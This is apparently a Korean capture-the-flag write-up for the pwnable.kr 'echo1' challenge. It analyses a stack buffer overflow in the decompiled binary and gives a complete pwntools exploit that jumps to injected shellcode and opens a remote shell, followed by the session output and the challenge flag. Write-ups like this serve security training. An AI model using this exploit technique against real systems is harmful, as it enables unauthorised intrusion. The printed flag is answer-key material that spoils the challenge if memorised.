Description

    Pwn this echo service.

    download : http://pwnable.kr/bin/echo1

    Running at : nc pwnable.kr 9010

    checksec

    ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/pwnable.kr-echo1$ checksec ./echo1
    [*] '/home/ubuntu/Desktop/dreamhack-CTF/pwnable.kr-echo1/echo1'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX disabled
        PIE:      No PIE (0x400000)
        RWX:      Has RWX segments

    ASLR 및 카나리 보호기법 X + 쉘코드 실행 가능

    Decompiled-src / Analysis

    main

    int __fastcall main(int argc, const char **argv, const char **envp)
    {
      _QWORD *v3; // rax
      unsigned int i; // [rsp+Ch] [rbp-24h] BYREF
      _QWORD v6[4]; // [rsp+10h] [rbp-20h] BYREF
    
      setvbuf(stdout, 0LL, 2, 0LL);
      setvbuf(stdin, 0LL, 1, 0LL);
      o = malloc(0x28uLL);
      *((_QWORD *)o + 3) = greetings;
      *((_QWORD *)o + 4) = byebye;
      printf("hey, what's your name? : ");
      __isoc99_scanf("%24s", v6);
      v3 = o;
      *(_QWORD *)o = v6[0];
      v3[1] = v6[1];
      v3[2] = v6[2];
      id = v6[0];
      getchar();
      func[0] = (__int64)echo1;
      qword_602088 = (__int64)echo2;
      qword_602090 = (__int64)echo3;
      for ( i = 0; i != 121; i = getchar() )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            puts("\n- select echo type -");
            puts("- 1. : BOF echo");
            puts("- 2. : FSB echo");
            puts("- 3. : UAF echo");
            puts("- 4. : exit");
            printf("> ");
            __isoc99_scanf("%d", &i);
            getchar();
            if ( i > 3 )
              break;
            ((void (*)(void))func[i - 1])();
          }
          if ( i == 4 )
            break;
          puts("invalid menu");
        }
        cleanup();
        printf("Are you sure you want to exit? (y/n)");
      }
      puts("bye");
      return 0;
    }

    처음에 scanf 함수를 통해 id라는 전역변수에 4바이트의 원하는 값을 입력할 수 있다.

    그리고 echo type을 통해 1-4번 메뉴를 고를 수 있는데,
    2, 3번 메뉴는 “not supported”라고 뜨는 반면,
    1번 매뉴에서는…

    echo1

    __int64 echo1()
    {
      char s[32]; // [rsp+0h] [rbp-20h] BYREF
    
      (*((void (__fastcall **)(void *))o + 3))(o);
      get_input(s, 128LL);
      puts(s);
      (*((void (__fastcall **)(void *))o + 4))(o);
      return 0LL;
    }

    위와 같이 1번 메뉴에서는
    할당된 32바이트의 s 변수에 128바이트의 값을 입력받을 수 있어 BOF 취약점을 발생시킬 수 있다.

    Solution

    main 함수에서 id 변수에는 jmp rsp; opcode를 집어넣고,
    echo1 함수에서 BOF 취약점을 발생시킬때,
    echo1’s RET에는 id 주소값으로 덮고, 그 뒤에는 쉘코드로 페이로드를 구성하면 된다.

    그러면 echo1 함수의 에필로그 끝에는 rsp가 쉘코드를 가리키게 되는데,
    echo1’s RET에 덮어쓰여진 id 주소값의 jmp rsp; 명령어에 의해 쉘코드로 점프하게 된다!

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64', os='linux')
    warnings.filterwarnings('ignore')
    
    p = remote("pwnable.kr", 9010)
    #p = process("./echo1")
    e = ELF('./echo1', checksec=False)
    
    shellcode = asm(shellcraft.sh())
    p.sendlineafter(b"hey, what's your name? : ", asm("nop; nop; jmp rsp"))
    
    p.sendlineafter(b"> ", b"1")
    
    p.sendline(b'A'*40 + p64(e.sym['id']) + shellcode)
    
    p.interactive()

    Result

    ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/pwnable.kr-echo1$ python3 solve.py
    [+] Opening connection to pwnable.kr on port 9010: Done
    [*] Switching to interactive mode
    hello \x90\x90\xff\xe4
    $                  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0 `
    goodbye \x90\x90\xff\xe4
    $                      ls
    echo1
    flag
    log
    super.pl
    $ cat flag
    H4d_som3_fun_w1th_ech0_ov3rfl0w
    $ 
    [*] Interrupted
    [*] Closed connection to pwnable.kr port 9010

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다